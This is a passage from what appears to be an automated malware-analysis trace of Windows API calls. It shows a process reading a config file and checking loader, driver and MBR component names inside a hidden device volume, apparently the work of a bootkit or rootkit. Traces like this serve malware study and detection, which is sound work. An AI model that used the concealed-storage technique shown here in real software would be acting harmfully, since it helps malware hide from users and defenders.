Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.539] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.539] IdePortDispatch () returned 0x103 [0124.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.539] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.539] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.539] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.539] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.539] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6fb0 [0124.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.539] KeLeaveCriticalRegion () [0124.539] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.539] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.539] KeEnterCriticalRegion () [0124.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.539] KeLeaveCriticalRegion () [0124.539] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.539] KeEnterCriticalRegion () [0124.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.539] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.539] IdePortDispatch () returned 0x103 [0124.540] KeWaitForMutexObject () returned 0x0 [0124.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.540] KeLeaveCriticalRegion () [0124.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.540] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.540] KeEnterCriticalRegion () [0124.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003576000 [0124.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.540] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.540] IdePortDispatch () returned 0x103 [0124.540] KeWaitForMutexObject () returned 0x0 [0124.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.540] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.540] IdePortDispatch () returned 0x103 [0124.540] KeWaitForMutexObject () returned 0x0 [0124.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.540] KeLeaveCriticalRegion () [0124.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.541] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.541] KeEnterCriticalRegion () [0124.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.541] KeLeaveCriticalRegion () [0124.541] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.541] KeEnterCriticalRegion () [0124.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.541] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.541] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.541] KeLeaveCriticalRegion () [0124.541] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.541] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.541] KeEnterCriticalRegion () [0124.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.541] ExFreePoolWithTag (P=0xfffffa8003be6fb0, Tag=0x0) [0124.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.541] KeLeaveCriticalRegion () [0124.541] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.541] ReleaseMutex (hMutex=0xf0) returned 1 [0124.541] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.541] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.541] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.541] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.541] KeEnterCriticalRegion () [0124.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.541] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.542] IdePortDispatch () returned 0x103 [0124.542] KeWaitForMutexObject () returned 0x0 [0124.542] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.542] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.542] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.542] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.542] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.542] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.542] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.542] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.542] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.542] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.542] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.542] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.542] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.542] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.542] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.542] KeLeaveCriticalRegion () [0124.542] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.542] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.542] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.542] KeEnterCriticalRegion () [0124.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.542] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.542] IdePortDispatch () returned 0x103 [0124.542] KeWaitForMutexObject () returned 0x0 [0124.543] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.543] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.543] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.543] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.543] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.543] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.543] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.543] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.543] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.543] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.543] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.543] KeLeaveCriticalRegion () [0124.543] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.543] ReleaseMutex (hMutex=0x100) returned 1 [0124.543] Sleep (dwMilliseconds=0x2bf20) [0124.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d6ef9d0, dwHighDateTime=0x1d24fa4)) [0124.550] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.550] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.550] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.550] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.550] KeEnterCriticalRegion () [0124.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.550] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.550] IdePortDispatch () returned 0x103 [0124.550] KeWaitForMutexObject () returned 0x0 [0124.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.550] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.550] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.550] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.550] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.550] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.550] KeLeaveCriticalRegion () [0124.550] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.550] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.550] KeEnterCriticalRegion () [0124.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.550] KeLeaveCriticalRegion () [0124.550] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.551] KeEnterCriticalRegion () [0124.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.551] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.551] IdePortDispatch () returned 0x103 [0124.551] KeWaitForMutexObject () returned 0x0 [0124.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.551] KeLeaveCriticalRegion () [0124.551] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.551] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.551] KeEnterCriticalRegion () [0124.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.551] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003579000 [0124.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.551] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.551] IdePortDispatch () returned 0x103 [0124.551] KeWaitForMutexObject () returned 0x0 [0124.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.551] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.551] IdePortDispatch () returned 0x103 [0124.552] KeWaitForMutexObject () returned 0x0 [0124.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.552] KeLeaveCriticalRegion () [0124.552] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.552] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.552] KeEnterCriticalRegion () [0124.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.552] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.552] KeLeaveCriticalRegion () [0124.552] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.552] KeEnterCriticalRegion () [0124.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.552] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.552] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.552] KeLeaveCriticalRegion () [0124.552] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.552] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.552] KeEnterCriticalRegion () [0124.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.552] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.552] KeLeaveCriticalRegion () [0124.552] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.553] ReleaseMutex (hMutex=0xf0) returned 1 [0124.553] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.553] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.553] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.553] KeEnterCriticalRegion () [0124.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.553] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.553] IdePortDispatch () returned 0x103 [0124.553] KeWaitForMutexObject () returned 0x0 [0124.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.553] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.553] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.553] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.553] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.553] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2b30 [0124.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.553] KeLeaveCriticalRegion () [0124.553] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.553] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.553] KeEnterCriticalRegion () [0124.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.553] KeLeaveCriticalRegion () [0124.553] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.553] KeEnterCriticalRegion () [0124.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.553] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.553] IdePortDispatch () returned 0x103 [0124.555] KeWaitForMutexObject () returned 0x0 [0124.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.555] KeLeaveCriticalRegion () [0124.555] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.555] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.555] KeEnterCriticalRegion () [0124.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.555] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800357a000 [0124.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.555] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.555] IdePortDispatch () returned 0x103 [0124.555] KeWaitForMutexObject () returned 0x0 [0124.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.555] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 